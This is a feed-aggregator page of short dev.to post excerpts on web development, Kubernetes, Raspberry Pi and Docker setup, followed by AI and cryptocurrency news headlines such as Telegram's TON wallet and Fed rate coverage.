    😮 It's me and other cool people! Ben Evans ・ Jul 8 #html #css #showdev #javascript  ( 3 min )
    WT Yandex map items v.2.0.5 Joomla module has been released
    Display data from various component's custom fields like Yandex.Maps placemarks. Joomla articles are displayed as Yandex.maps placemarks. The articles categories and contacts are not displayed yet. When interacting with a page on mobile devices, if the map is displayed in full width, it starts scrolling instead of the web page. To avoid this situation, an overlay for the map has been added. Now interaction with the map is possible after clicking on the map. The overlay automatically turns on when the cursor leaves the borders of the map container and the map can be scrolled again. Extension page GitHub  ( 4 min )
    399. Evaluate Division
    🔍 Problem Overview We are given equations like: a / b = 2.0 b / c = 3.0 And we’re asked queries like: a / c = ? b / a = ? a / e = ? Our goal is to evaluate each query based on the given equations. This problem is a classic graph traversal problem. Treat each variable as a node in a graph. For every equation a / b = 2.0, add: an edge a -> b with weight 2.0 and b -> a with weight 1 / 2.0 = 0.5. Once we build the graph, we use DFS (Depth-First Search) to find a path from the numerator to the denominator in each query and multiply the weights along the way. var calcEquation = function(equations, values, queries) { const graph = {}; // 1. Build the graph for (let i = 0; i < equations.length; i++) { const [a, b] = equations[i]; const val = values[i]; …  ( 10 min )
    From Diagnosis to Recovery: How AI is Enhancing the Patient Journey
    The healthcare experience has long been fragmented—patients moving from symptom onset through diagnosis, treatment, and recovery often faced delays, miscommunications, and one-size-fits-all approaches. Today, artificial intelligence is weaving these separate touchpoints into a seamless, personalized journey that transforms how we experience healthcare from the very first symptom to full recovery. Smart Symptom Assessment: The Journey Begins These intelligent systems act as the first point of contact, helping patients understand their symptoms and connecting them with the right level of care—whether that's self-care, a telehealth visit, or an emergency room trip. This immediate guidance reduces anxiety and ensures patients receive appropriate care faster. Accelerated and Accurate Diagnosis …  ( 6 min )
    Deploy and Manage Policies with RHACM
    Take Control of Multicluster Governance with Ease When you're managing Kubernetes clusters at scale, enforcing consistent policies across environments can quickly become a challenge. This is where Red Hat Advanced Cluster Management (RHACM) becomes a game-changer especially through its governance features. Let’s walk through how RHACM helps you deploy and manage policies across multiple clusters in a clean, centralized way. 🔍 What is Governance in RHACM? Security requirements Compliance checks Cluster configuration standards Operator lifecycle controls Once applied, RHACM continuously checks your clusters for compliance and reports back if something's off. ✅ Why Use Policies? Central Management – Manage rules across all clusters from one dashboard Consistent Compliance – Ensure your environments meet internal and external standards Automatic Remediation – RHACM can fix policy violations automatically Real-Time Monitoring – See which clusters are compliant or non-compliant at a glance 🚀 How It Works (No Code Needed) Access the RHACM Console Create or Select a Policy Choose Where to Apply the Policy Enforce or Inform Track Compliance 💡 Tips for Getting the Most Out of RHACM Governance Group related policies using policy sets Use labels and cluster sets to organize and apply policies efficiently Combine RHACM with GitOps for managing policies as code (optional, for advanced users) 📌 Final Thoughts If you're looking to secure, standardize, and scale your Kubernetes environment RHACM is the way forward. For more info, Kindly follow: Hawkstack Technologies  ( 5 min )
    AA
    import json import ast import pandas as pd import plotly.express as px import streamlit as st from st_aggrid import AgGrid, GridOptionsBuilder, GridUpdateMode, JsCode from core.query_executor import query_executor from queries.QueryBuilder import QueryBuilder from queries.filter import CommonUI from queries.final_last import USER_360_QUERIES # ======================== # CONSTANTS & CONFIGURATION # ======================== CSS_STYLES = """ :root { --primary: #4361ee; --secondary: #3a0ca3; --accent: #4895ef; --success: #4cc9f0; --warning: #f72585; --light: #f8f9fa; --dark: #212529; } .main-header, .metric-card, .status-badge, .query-detail-card, .recommendation-card, .grid-container { border-radius: 12…  ( 8 min )
    10 Most Common Concrete Tests & the Equipment You Need
    Introduction: Why Concrete Testing Matters Concrete is the foundation of contemporary infrastructure, including skyscrapers, bridges, highways, dams, and residential and commercial complexes. Even though concrete is used extensively, improper testing can cause unpredictable behavior. In order to guarantee strength, durability, and safety in construction, concrete testing equipment manufacturer is an essential quality assurance procedure. The goal is to determine how long a concrete sample can sustain axial loads before failing, usually after 7, 14, or 28 days. Measures the consistency or workability of freshly mixed concrete. The goal is to ascertain how well concrete can withstand tensile force or bending stress in beams. The goal is to use cylindrical specimens to indirectly evaluate the tensile strength of concrete. The percentage of air entrained in fresh concrete is measured for this purpose. Concrete's resistance to water under pressure is measured for this purpose. Goal: Determines the concrete's initial and final setting times, typically using the cement component. The density of fresh concrete per volume is measured for this purpose. The goal is to use electrical conductivity to determine how permeable concrete is to chloride ions. Measures the concrete's elastic deformation under axial stress. In India and abroad, ready-mix concrete plants, infrastructure contractors, and civil engineering labs have been powered by Engineering Solution Equipment, a reputable manufacturer of concrete testing equipment. Accurate testing is the first step toward precision and safety in the demanding fields of civil engineering and construction. The correct tools help prevent expensive failures in addition to guaranteeing compliance. Concrete Testing Equipment  ( 7 min )
    Top 8 Open Source MCP Projects with the Most GitHub Stars
    Originally published at https://www.nocobase.com/en/blog/github-open-source-mcp-projects. The term MCP truly gained widespread attention in early 2025, especially within the AI tool development community. In March, a heated debate about “MCP - flash in the pan or future standard?” ignited the discussion. Core members from LangChain and LangGraph clashed intensely on X, and MCP-related projects on GitHub started trending one after another. Image source: https://blog.langchain.com/mcp-fad-or-fixture/ Why is MCP gaining popularity? At its core, developers have finally realized this: ChatGPT can generate content but can’t automatically fetch web pages; Claude can understand PDFs but cannot call APIs. Although the models are powerful, they lack a closed execution loop, and tool integration rem…  ( 12 min )
    Mastering CSS Container Queries: A New Era of Responsive Design
    Responsive design has always meant designing for different screen sizes — but what if your component needs to adapt to its own container, not the whole viewport? That’s where CSS Container Queries come in — a powerful addition to CSS that lets you style elements based on the size of their container rather than the size of the browser window. Container Queries allow components to adjust their styles based on their parent container’s size. This is a game-changer for modern, component-driven design systems — especially when building reusable UI components in frameworks or systems like: Atomic Design React/Vue components Drupal SDC (Single Directory Components) Component-level responsiveness No dependency on global breakpoints Enhanced reusability and modularity Ideal for modern UI archi…  ( 5 min )
    Vue 3 Composition API and Hooks Pattern
    The Composition API in Vue 3 introduces the concept of Hook functions, offering a more modular and reusable approach to state management and logic organization. First, we create a custom Hook, such as useCounter, to encapsulate counter logic: // useCounter.js import { ref } from 'vue'; export function useCounter() { const count = ref(0); function increment() { count.value++; } function decrement() { count.value--; } return { count, increment, decrement }; } In the code above, ref creates reactive data, and the increment and decrement methods increase or decrease the counter’s value, respectively. The return statement exposes the data and methods for direct use in components. Then, in a component, we can import and use this Hook: …  ( 6 min )
    The Special Role of 127.0.0.0/8 in Networking
    The class system in IPv4 was abandoned in 1993 when CIDR(Classless Inter-Domain Routing) was introduced. But even today, some of those old class-based address ranges are still reserved and serve specific purposes. might’ve noticed that in the traditional traditional class range, the 127.0.0.x block seems to be missing,here's why: That’s not a mistake , the entire block 127.0.0.0/8 is reserved for loopback addresses. A loopback address is basically a way for a machine to send data to itself. The packets don’t actually go out onto the network, they get processed internally by the system’s own network stack. The most commonly used loopback address is 127.0.0.1 also known by its hostname, localhost. You’ve definitely used it while running a local server or testing network applications. It’s a super useful tool for development and diagnostics.  ( 4 min )
    Pleasent background, pleasing cubical and nominal sign boards of rules way of friendly guidelines for behiours to be avoided
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, CSS Art: Office Culture. Inspiration Demo Journey  ( 4 min )
    Constructors and Inheritance in Java (Simplified)
    Grasping the concepts of constructors and inheritance is key to writing effective and robust Java code. Both are cornerstones of Java’s object-oriented approach, enabling you to create reusable, organized, and flexible programs. Let’s demystify them with easy-to-understand explanations and examples. A constructor is a special block of code in a class that runs when you create a new object. Its main job is to initialize (set up) the object's variables with starting values. Same name as the class (e.g., Car() is the constructor of class Car). No return type, not even void. Runs only once, at the time of object creation. Example: Default Constructor If you don’t write any constructor, Java provides a default one for you. java public class Car { String color; // Default constru…  ( 5 min )
    I’ve already started. But now, I’m showing up as I really am.
    I’ve already started. But now, I’m showing up as I really am. Hey. I’m Anushka. You might’ve seen me post about ConnectX on LinkedIn. Not trying to sound smart. Because truth is — I’m figuring out things while building something I truly believe in. ✅ What I’m building: ConnectX — It’s about real connections. Not just cold resumes. 📍Where I’m at (honestly): Learning HTML, CSS, JavaScript Using Firebase to build my MVP DSA: Day 54/200 — some days I love it, most days I just show up anyway Slowly getting more comfortable with Git & GitHub AWS + backend learning next Prepping for GSSoC 2025 (Contributor + Campus Ambassador) Also juggling college, late nights, self-doubt, and those random moments where I question everything. But I still keep going. 🎯 Why I’m posting this: Not because I’ve “made it.” I’m done waiting to be “ready.” If you're also: Building something without a full roadmap Learning to code while lowkey overwhelmed Dreaming bigger than your current setup Let’s connect. Drop your story below. Or just say hi. Let’s grow together — one bug, one post, one day at a time. ConnectX #BuildInPublic #DevJourney #WomenWhoCode #NoFilterTech #GSSoC2025 #LearningOutLoud  ( 4 min )
    Prompt Engineering 101: Master the Foundation in 10 Minutes (Get Prompt Expert Template Free Inside)
    Don't forget to get your Prompt Expertise Template Free Inside! Let's move to the topic This post is your crash course in Prompt Engineering, the single skill that will separate AI dabblers from AI power users. Read this once. Save it. And you’ll instantly get better results from ChatGPT (and any other AI tool). What Is Prompt Engineering, Really? Asking the AI the right question, in the right way, to get the result you want. Think of ChatGPT as a smart intern. If you say: “Write a blog post” → You’ll get something generic. If you say: “Write a 700-word blog post for busy entrepreneurs. Use a conversational tone, 3 examples, and end with a clear call-to-action” → You’ll get gold. The 4 Building Blocks of a Great Prompt 1. Role – Who should the AI be? 2. Context – What’s the situation? 3. …  ( 5 min )
    Your First JavaScript Tutorial: Start Coding Today
    Are you eager to start your journey into web development but don't know where to begin? Look no further! This comprehensive JavaScript tutorial is designed specifically for beginners like you who are ready to dive into the world of programming and build their very first applications using JavaScript. Whether you’ve never written a line of code before or just need a refresher, this guide will walk you through the fundamentals of JavaScript in a simple, easy-to-understand manner. JavaScript is one of the most popular and powerful programming languages in the world. It's the backbone of modern web development and is supported by all major browsers. From interactive forms and animations to dynamic content updates and full-scale web applications, JavaScript makes websites functional and engagin…  ( 6 min )
    Welcome Thread - v337
    Leave a comment below to introduce yourself! You can talk about what brought you here, what you're learning, or just a fun fact about yourself. Reply to someone's comment, either with a question or just a hello. 👋 Come back next week to greet our new members so you can one day earn our Warm Welcome Badge!  ( 4 min )
    From DynamoDB Limitations to PostgreSQL Innovation: How I Built AuroraWire
    Picture this: You're building the next big thing, and naturally, you reach for DynamoDB. After all, it's AWS's NoSQL database, yep! scalable, managed, and serverless. What could go wrong? For those who haven't experienced this particular form of database pain, imagine having a massive dataset but being told you can only ask very specific questions about it. Need a flexible string search? Sorry, DynamoDB doesn't do "LIKE" queries. Want to search across multiple fields? Better hope you designed your GSI structure previously. I found myself writing increasingly complex application logic just to work around DynamoDB's limitations. The "scalable" database was scaling my temper too. Fed up with NoSQL limitations, I decided to migrate to Aurora Serverless v2 with PostgreSQL. Finally! A real dat…  ( 6 min )
    Pascal Martin : construire l’IA de demain passera par l’optimisation énergétique
    Lors d’un entretien récent, le professeur Pascal Martin a souligné que les inquiétudes concernant une « surcapacité » dans les infrastructures d’IA sont prématurées. L’allègement des algorithmes et la réutilisation des ressources matérielles contribuent à atténuer les tensions sur la puissance de calcul. En revanche, les problèmes d’alimentation électrique et de dissipation thermique représentent des freins bien plus concrets à l’expansion rapide de l’IA. Meta en tête de l’innovation architecturale des centres de données En matière de conception des centres de données, le professeur Pascal Martin souligne les pratiques innovantes de Meta. Contrairement aux fournisseurs hyperscale traditionnels qui adoptent des structures en H pour héberger des clouds multi-locataires, Meta opte pour une configuration en campus de type I spécifiquement conçue pour ses charges de travail internes liées à l’intelligence artificielle. D’après le rapport, cette architecture permet une amélioration significative en termes de consommation énergétique, d’efficacité de refroidissement et de densité de baies – trois éléments cruciaux pour héberger des clusters d’entraînement à haute performance. Sur le plan du matériel, Meta cherche un équilibre entre solutions de marque et matériel en boîte blanche. Côté réseau, bien que la puissance des équipements Arista reste aujourd’hui indispensable, Meta collabore aussi avec des fournisseurs comme Celestica, dans le but à long terme d’intégrer son logiciel interne avec du matériel en open hardware.  ( 6 min )
    Any Good Postman Alternatives Offline?
    Lately, I’ve been looking for a lighter tool than Postman. I like Hoppscotch, but the fact that it’s online‑only is a problem when I travel or work without stable internet.What’s your go‑to Postman alternative offline that still supports testing and maybe documentation?  ( 4 min )
    Using JSON.stringfy() Method in js
    Hello everyone!!!! What is JSON.stringify()? want to store data in Local Storage Need to send data to a backend API Syntax: JSON.stringify(value[, replacer[, space]]) It is the way to stored the Data Why use JSON.stringify()? const obj = { name: "Mathavi" }; const str = JSON.stringify(obj); localStorage.setItem("data", str); Store In LocalStorage: localStorage.setItem("user", JSON.stringify(user)); To get it back, const data = localStorage.getItem("user"); const parsedData = JSON.parse(data); console.log(parsedData.name); // Mathavi Using replacer parameter const user = { name: "Mathavi", age: 25, gender: "female" }; const result = JSON.stringify(user, ["name", "age"]); console.log(result); // {"name":"Mathavi","age":25} Using space parameter (pretty print) const obj = { name: "Mathavi", age: 25 }; console.log(JSON.stringify(obj, null, 2)); Output: { "name": "Mathavi", "age": 25 } What JSON.stringify() cannot do? undefined value-Skipped Function in object-Skipped Function in object-Skipped. Conclusion !!!...Thank you so much for reading...!!! Until then, happy:) coding!  ( 4 min )
    Transform Your Testing Approach with the Top 34 Codeless Testing Tools in 2025
    Codeless test automation is emerging as a critical focus for Agile and DevOps teams, offering a promising alternative to current automation solutions. This approach involves collaboration between business users and testing teams to tackle the challenges of test automation, making testing an integral part of the software development lifecycle (SDLC). In this context, it is crucial for testing leaders and organizations to reassess their test automation strategies and consider integrating Codeless Automation tools. As this concept gains traction, testers seek the right tools to support their needs, particularly in agile development cycles. This blog explores the top 34 codeless testing tools poised to make an impact in 2025. But before delving into that, let’s first understand the fundamental…  ( 8 min )
    Excel Asset Tracking Template Free Download
    Asset tracking is crucial for managing your company’s resources, whether they’re physical or digital. One of the most effective ways to manage these assets is by using an Excel asset tracking template. It’s affordable, straightforward, and easy to customize to fit your business needs. In this guide, we will walk you through the steps to create a simple, yet effective asset tracking system in Excel. An asset tracking template in Excel is a pre-built framework that helps you track and manage your company’s assets. These could be office equipment, IT resources, machinery, furniture, or even software licenses. IT asset tracking allows you to organize the details of each asset, such as its name, value, location, and status, all in one place. With the right template, you can easily track when as…  ( 8 min )
    Mastering Pointers in Doubly Linked Lists: Challenges and Solutions
    Introduction to Doubly Linked Lists and Pointer Challenges In the vast world of data structures, linked lists hold a special place due to their dynamic nature and flexibility. Unlike arrays, which have a fixed size, linked lists allow for efficient memory utilization by growing or shrinking as needed. Among the variations of linked lists, the doubly linked list stands out for its bidirectional navigation capability. Each node in a doubly linked list contains two pointers: one pointing to the next node and another to the previous node, in addition to the data element. This structure allows for traversal in both forward and backward directions, offering advantages in certain applications like undo-redo functionalities in text editors or navigation in web browsers. However, with great flexi…  ( 18 min )
    Mastering Git for Beginners – Start Your Dev Journey with Confidence!
    I’ve published a complete beginner-friendly guide to Git that covers: What is Git and why you should use it Common Git commands and workflows How to avoid beginner mistakes Hands-on examples for clarity And much more! Read the full article here: https://techwithrohit2678.hashnode.dev/git-for-beginners-push-your-first-code-to-github Master Git Basics – Even If You're Starting from Scratch Whether you’re a student, a self-learner, or just curious about version control, this guide is crafted with simplicity and clarity to help you start using Git confidently. Feel free to leave your thoughts, feedback, or your own Git experiences. Let’s grow together!  ( 4 min )
    What is JSON.stringify()? A Beginner’s Guide with Examples
    When building modern web applications, working with JavaScript objects is inevitable. But what happens when you need to send data to a server, store it locally, or debug it in a readable format? That’s where JSON.stringify() comes into play — a powerful method that transforms JavaScript objects into JSON strings. In today’s blog, we’ll explore what it does, how it works, and how to use it like a pro. What is JSON.stringify()? JSON.stringify() is a built-in JavaScript method that converts a JavaScript object, array, or value into a JSON-formatted string. Syntax JSON.stringify(value, replacer, space); Why Use JSON.stringify()? Sending Data to APIs: Most APIs accept JSON-formatted data. Saving to Local Storage: localStorage and sessionStorage only store strings. Debugging: Easily inspect obje…  ( 5 min )
    Google Maps TMS Service Parameter Analysis
    This article was translated, original article here. Google Maps TMS tiles are detailed, high-performance, and free. Many GIS enthusiasts or developers are accustomed to using this service as the base map for their applications. However, Google does not officially recommend using this API, so official documentation cannot be found. A Google TMS service URL typically looks like this: https://mt0.google.com/vt/lyrs=y&scale=2&x=6675&y=3572&z=13&s=Galile&gl=cn Clicking this link opens a tile showing a location in Dongguan City, Guangdong Province, China. If you modify the URL parameters, you'll notice that while the tile location remains the same, the content of the tile changes. This raises the question: how many parameters can be set for the Google TMS service, and what does each parameter me…  ( 5 min )
    Kubernetes App Slow? Fix DNS, Mesh & Caching.Not Node Scaling
    A production Kubernetes application started showing latency issues during peak hours. User reports flagged slow page loads and inconsistent response times. The initial reaction from the infrastructure team was to add more nodes to the cluster. However, before provisioning additional compute resources, a deeper inspection was performed. Too many service hops CoreDNS misconfigurations No caching for repeated API calls Use a Service Mesh Why: Istio or Linkerd reduce latency by enabling intelligent routing, retries, timeouts, and circuit breaking — optimizing pod-to-pod communication. Commands (Istio example): # Install Istio istioctl install --set profile=demo -y # Enable automatic sidecar injection kubectl label namespace default istio-injection=enabled # Deploy your app with mesh suppor…  ( 5 min )
    Home Labs #2: Setup Raspberry Pi with Cloudflare Zero Trust (Managed Tunnel)
    Want to securely access your Raspberry Pi from anywhere without port forwarding? This tutorial walks you through setting up Cloudflare Zero Trust with a managed tunnel to expose your Pi’s services safely. Log in to your Cloudflare Dashboard Sign up for Zero Trust (Free plan is enough) Buy a domain (e.g., from Hostinger or Namecheap) Add the domain to Cloudflare: Go to Add a Site in Cloudflare Enter your domain Choose Quick scan → Free Plan → Continue Cloudflare will provide nameservers Update your domain's nameservers via your registrar (e.g., Hostinger) Wait for DNS propagation (~10 min–24 hours) Once active, you’re ready to create your tunnel SSH into your Raspberry Pi and run: sudo mkdir -p --mode=0755 /usr/share/keyrings curl -fsSL https://pkg.cloudflare.com/cloud…  ( 5 min )
    "Principles of Building AI Agents" is a worth a Read
    The other day on LinkedIn, Sam Bhagwat, the founder of Gatsby and founder/CEO of Mastra.ai, was sharing his book, Principles of Building AI Agents, with many people. He posted that after telling an investor about it, they said he should distribute it even more widely, so he would share the book with anyone who commented "Book." I commented "Book," and even though I haven't linked my company email to LinkedIn, a PDF download link was sent to my work address lol. The book is structured to explain keywords for each part while discussing what to be mindful of when building agents. The sample code, naturally, uses Mastra. I believe anyone who has ever worked with Mastra will find the code easy to understand. As the title "Principles of Building AI Agents" suggests, the beginning covers many top…  ( 8 min )
    My Journey into Java Programming as a Beginner
    Hello and Welcome This isn’t a tutorial. It’s a story. A journey. And if you're just starting out and feeling overwhelmed, I hope this encourages you. How It All Started I wanted to build things. Websites. Applications. Systems. I didn’t know what exactly, but I wanted to be someone who creates. The problem? I had absolutely no clue where to begin. I heard so many different suggestions: “Try Python, it’s beginner-friendly.” “JavaScript is what everyone uses now.” “If you want the real fundamentals, start with C.” But something about Java stood out. Maybe it was its object-oriented nature. Maybe the fact that it's still used in the enterprise world. Or maybe just the sheer amount of tutorials and community support out there. So, I went with Java. Starting with the ICM Diploma Early Struggle…  ( 6 min )
    Home Labs #1: Install Raspberry Pi OS Lite (64-bit) on Raspberry
    Want to set up a headless server or lightweight IoT project using Raspberry Pi? This guide walks you through installing the 64-bit Lite version of Raspberry Pi OS on a Raspberry Pi 3 Model B+. 👉 https://www.raspberrypi.com/software/ Choose the installer based on your OS: Windows → .exe macOS → .dmg Linux → .deb / .rpm Install it as usual. Use at least an 8GB microSD (Recommended: 16GB or more). In this tutorial, I use a 32GB microSD. Make sure you have a microSD card reader ready. Insert the microSD card into your computer. Open Raspberry Pi Imager. Click "Choose OS" Select: Raspberry Pi OS (Other) → Raspberry Pi OS Lite (64-bit) ⚠️ "Lite" means no desktop environment — it's CLI only! Click "Choose Storage" Select your microSD card Click the gear icon ⚙️ at the bottom right to set: ✅ Enable SSH 👤 Set username and password 📶 Enter your WiFi SSID and password 🌍 Set Locale, Timezone, and Keyboard layout 📝 These settings will apply automatically when you boot. No manual config needed! Click Write Wait for the process to complete Eject the microSD card safely Insert the microSD card into your Raspberry Pi Power it up and wait for it to boot Login using terminal or SSH (if enabled) Username: pi Password: [your password] 🔗 Next Up: Home Labs #2: Setup Raspberry Pi with Cloudflare Zero Trust (Managed Tunnel)  ( 5 min )
    Scaling image classification with AI
    Learn how we used multi-modal Large Language Models to automatically categorize more than 1 million boat images, reducing months of manual work to a couple of days. The Problem To solve this, the product design team came up with a new image gallery component that grouped the images by category. They devised 16 categories, including Deck, Galley, Boat Underway, and other significant categories for boaters. This was a fantastic move, the new gallery: has a modern look and feel But this came with a scale challenge: The system receives around 1 million images every two months (and growing!). The customer success team is usually responsible for adjusting certain data bits for their customers, but the human effort required to categorize 1 million images, plus the new ones that come in every day,…  ( 8 min )
    New eSafeNet RCE Vulnerability Exposes Enterprise Data: What You Need to Know
    > About Author SafeLine, an open-source Web Application Firewall built for real-world threats. While SafeLine focuses on HTTP-layer protection, our emergency response center monitors and responds to RCE and authentication vulnerabilities across the stack to help developers stay safe. In December 2023, a critical Remote Code Execution (RCE) vulnerability in eSafeNet Electronic Document Security Management System was publicly disclosed. This vulnerability, which requires no prior authentication, puts sensitive enterprise data and internal systems at serious risk. If your organization uses this platform, you should patch it immediately. eSafeNet is a widely-used enterprise software that offers document encryption, permission control, and audit logging — all aimed at improving document securit…  ( 5 min )
    Rate my first Front-end project
    visit website Tech stack Supabase - handles search queries, and returns tools in the fastest possible time Cloudflare R2 object storage - stores images for fast load times TanStack Virtualization - only loads elements visible in the view port, resulting in faster load time ** Wink NLP** - helps to extract keywords from the search query Zustand - for global state management React - Frontend purely built on react FormshareAI - handles forms  ( 4 min )
    GUIA PRÁTICO DE COMANDOS DO DOCKER #3
    Neste artigo, estaremos trabalhando um pouco com PORT, LOGS e DIFF em containers. Para este exemplo, estaremos criando um container chamado meu-nginx: docker container run --name meu-nginx -p 8080:80 nginx:latest http://127.0.0.1:8080 Explicação da flag -p: O formato é -p : No exemplo acima, a porta 8080 do host está associada à porta 80 do container Para visualizar informações detalhadas do seu container: docker container inspect meu-nginx O retorno será um arquivo JSON contendo diversas informações, como: Configurações de rede Volumes montados Variáveis de ambiente Status do container Para listar quais postas do host estão associadas às portas do container: docker container port meu-nginx O comando diff mostra alterações realizadas no sistema de ar…  ( 5 min )
    zkemsdufhcbzxjasndhfghdsvfadsbfnvtyfagntvuytanavauearveaYTNBIRATSVNYBAVSHY FN14[;6;1[6;24[6;[542[p;24;l5q4jn6qp[4jl4q[6jql6[h[pl
    Mode: Expert ============================================= Basic: Name: ('anything', I named mine "myos") Type: Other Subtype: ('disabled') Version: Other/Unknown (64-bit) ============================================= Advanced: Snapshot Folder: ('Anything') Shared Clipboard: Disabled Drag'n'Drop: Disabled ============================================= Description: ('Anything') ============================================= Disk Encryption: Disabled ============================================= Motherboard: Base Memory: 2963 MB Boot Order: 1: Hard Disk (Enabled) Chipset: PIIX3 TPM: None Pointing Device: PS/2 Mouse -- Extended Features: Enable I/O APIC: true Enable Hardware Clock in UTC Time: false Enable EFI (special OSes only): false Enable Secure Boot: false Processor: Processors: 2 CPUs Execution Cap: 100% -- Extended Features: Enable PAE/NX: true Enable Nested VT-✓AMD-V Acceleration: Paravirtualization Interface: Default Hardware Virtualization: Enable Nested Paging: true ============================================= Display: Video Memory: 128 MB Monitor Count: 1 Scale Factor: (Disabled), 100% Graphics Controller: VBoxVGA -- Extended Features: Enable 3D Acceleration: false Remote Display: Recording: Enable Recording: false ============================================= Storage: ==== Attributes Name: IDE Type: PIIX4 Use Host I/O Cache: true 2: ('vmname'.vdi) Hard Disk: "IDE Primary Device 0" Solid-state Drive: false ==== Information 3: kernel.iso Optical Drive: IDE Primary Device 1 Live CD/DVD: false ==== Information: ============================================= Audio: Enable Audio: false ============================================= Serial Ports: Enabled: false USB: Enabled: false Shared Folders: (USELESS) User Interface: (Optional)  ( 4 min )
    Title: Telegram Launches Integrated TON Wallet for 87M U.S. Users, Boosting Toncoin (TON) Rally
    Title: Telegram Launches Integrated TON Wallet for 87M U.S. Users, Boosting Toncoin (TON) Rally Introduction: The cryptocurrency market has been experiencing significant growth in recent years, with more and more people investing in digital assets. One of the latest developments in the crypto space is the launch of the Telegram-integrated TON Wallet, which has extended Toncoin's (TON) impressive rally. In this article, we will explore the TON Wallet, its features, and how it has impacted the Toncoin market. The TON Wallet: The TON Wallet is a self-custodial wallet that has been developed by The Open Platform (TOP) and built on the TON blockchain. The wallet allows Telegram users to send and receive stablecoins and other digital tokens as easily as sending a message. The TON Wallet is des…  ( 5 min )
  • Open

    LangChain’s Align Evals closes the evaluator trust gap with prompt-level calibration
    LangChain allows enterprises to make and calibrate a model to evaluate applications and get it close to human preferences.  ( 7 min )
    ‘Subliminal learning’: Anthropic uncovers how AI fine-tuning secretly teaches bad habits
    A common AI fine-tuning practice could be unintentionally poisoning your models with hidden biases and risks, a new Anthropic study warns.  ( 9 min )
    Shadow AI adds $670K to breach costs while 97% of enterprises skip basic access controls, IBM reports
    IBM's 2025 Cost of a Data Breach Report reveals that breaches involving unauthorized AI tools now average $4.63M.  ( 10 min )
    Mark Zuckerberg says ‘developing superintelligence is now in sight,’ shades OpenAI and other firms focused on automating work
    So perhaps, these competing visions of superintelligence are actually far more similar than they are opposed.  ( 9 min )
    C8 Health started with an AI that gives anesthesiologists guidance on demand — now it’s targeting whole hospitals
    A friendly red panda avatar serves up the knowledge from the organization's own siloed databases, complete with citations  ( 9 min )
    Google DeepMind says its new AI can map the entire planet with unprecedented accuracy
    Google DeepMind unveils AlphaEarth Foundations, an AI system that processes satellite data 16x more efficiently to create detailed Earth maps for tracking deforestation, climate change, and environmental shifts.  ( 9 min )
    Runloop lands $7M to power AI coding agents with cloud-based devboxes
    Runloop raises $7M seed funding to solve the "production gap" for AI coding agents, providing enterprise infrastructure that helps companies deploy autonomous coding assistants six months faster than building in-house solutions.  ( 9 min )
    Nightfall launches ‘Nyx,’ an AI that automates data loss prevention at enterprise scale
    Nightfall AI launches Nyx, the first autonomous data loss prevention platform using AI to cut false alerts by 90% and protect enterprise data from insider threats and ChatGPT leaks.  ( 9 min )
    How can enterprises keep systems safe as AI agents join human employees? Cyata launches with a new, dedicated solution
    The growing use of AI agents isn’t limited to technical teams. While developers were an early audience, Cyata quickly realized adoption was broader.  ( 8 min )
  • Open

    Kraken's Q2 earnings dip as exchange expands beyond crypto
    As Kraken eyes a $15 billion valuation and potential IPO, its Q2 report reveals growth and a shift toward TradFi products.
    Tornado Cash co-founder faces jury after closing arguments wrap
    If convicted of the three charges, the Tornado Cash developer could face more than 40 years in prison.
    Trump White House releases long-promised crypto report
    The report rehashed many of the policy objectives touted by the Trump administration for regulating crypto in the United States.
    Fundamental Global sinks 13% following Ether treasury news
    Markets responded with a 13% drop in share price after the company unveiled its $200 million Ether treasury plan.
    ETH chart divergence flashes warning while onchain metric predicts rally to $4.5K
    ETH onchain data predicts a rally to $4,500, but a bearish RSI divergence warns of a correction in the short term.
    Treasury companies solve Ether's narrative problem — Bitwise exec
    Equity investment vehicles present ETH in a way that is palatable to investors in the legacy financial system, Bitwise Chief Investment Officer Matt Hougan says.
    Cboe, NYSE Arca move to streamline crypto ETF listings with SEC rule change request
    Proposed filings aim to eliminate the need for individual ETF approvals and come a day after the SEC greenlit in-kind transactions for crypto funds.
    Bitcoin makes ‘big move’ after Fed rate decision, Coinbase Premium turns red
    A negative Coinbase Premium Index and the markets’ reaction to a disappointing Federal Reserve presser catalyzed a “big move” in Bitcoin price.
    Ethereum 2035: How the next 10 years might look
    As Ethereum turns 10, leaders from Consensys, Coinbase, RedStone, Optimism and GameSquare share what the next decade could look like for the evolving network.
    Price predictions 7/30: BTC, ETH, XRP, BNB, SOL, DOGE, ADA, HYPE, XLM, SUI
    Bitcoin’s tight consolidation just below $120,000 suggests the bulls are holding on to their positions as they anticipate an uptick in volatility.
    Trump’s crypto working group pushes for clearer rules as adoption grows
    The White House’s digital asset task force calls on regulators to clarify crypto trading rules and accelerate innovation, as a major crypto bill becomes law and two more head to the Senate.
    Fed rate decision incoming: Would a surprise cut send Bitcoin to $140K?
    Traders anxiously await today’s FOMC results to see if a surprise Fed rate cut could ignite a Bitcoin rally toward $140,000.
    Planck launches layer-0 blockchain for artificial intelligence
    Planck relies on a network of global processing units worth $230 million, the protocol said.
    Polygon Hemidall mainnet experiences temporary outage
    The Bor layer, which handles transaction execution, did not experience any downtime and continued producing blocks, the Polygon team said.
    Here’s why some Ethereum traders expect ETH price to hit $16K this cycle
    Ethereum price is painting an ascending triangle pattern breakout with a price target of around $16,700.
    TON may become the first everyday blockchain by 2027
    TON, the blockchain natively integrated into Telegram’s 900 million-strong user base, is poised to become the first everyday blockchain by 2027, offering a user experience that makes Web3 feel like Web2.
    Backwards-compatible quantum fix found, but not for Bitcoin and Ethereum
    Sui Research’s new quantum-safe wallet upgrade method offers a hard fork-free solution for EdDSA-based blockchains, but does not apply to Bitcoin or Ethereum.
    Trump-linked WLFI invests $10M in Falcon Finance for stablecoin development
    WLFI’s USD1 stablecoin will be used as a collateral asset on Falcon Finance, fueling regulatory concerns about potential conflicts of interest related to the Trump family-backed platform.
    Ripple’s Schwartz defends low XRPL volume, says banks settle offchain
    Ripple claims hundreds of bank partners, but with a 30%–40% drop in XRPL activity and institutional use concentrated offchain, transparency concerns persist.
    Stablecoins add $4B, Bitcoin exchange reserves below 15%: July in charts
    Investors are uncertain and moving their Bitcoin off exchanges, while stablecoins are set to take off after GENIUS passed.
    Japan’s crypto tax overhaul: What investors should know in 2025
    Japan is proposing a major reform in its tax regime for crypto assets. If passed, these changes will make digital asset investing simpler for crypto investors.
    Twenty One Capital eyes Bitcoin-backed USD loans: Report
    Twenty One Capital, backed by Cantor Fitzgerald and Tether, may begin issuing US dollar loans using Bitcoin as collateral.
    JPMorgan to allow crypto purchases with Coinbase
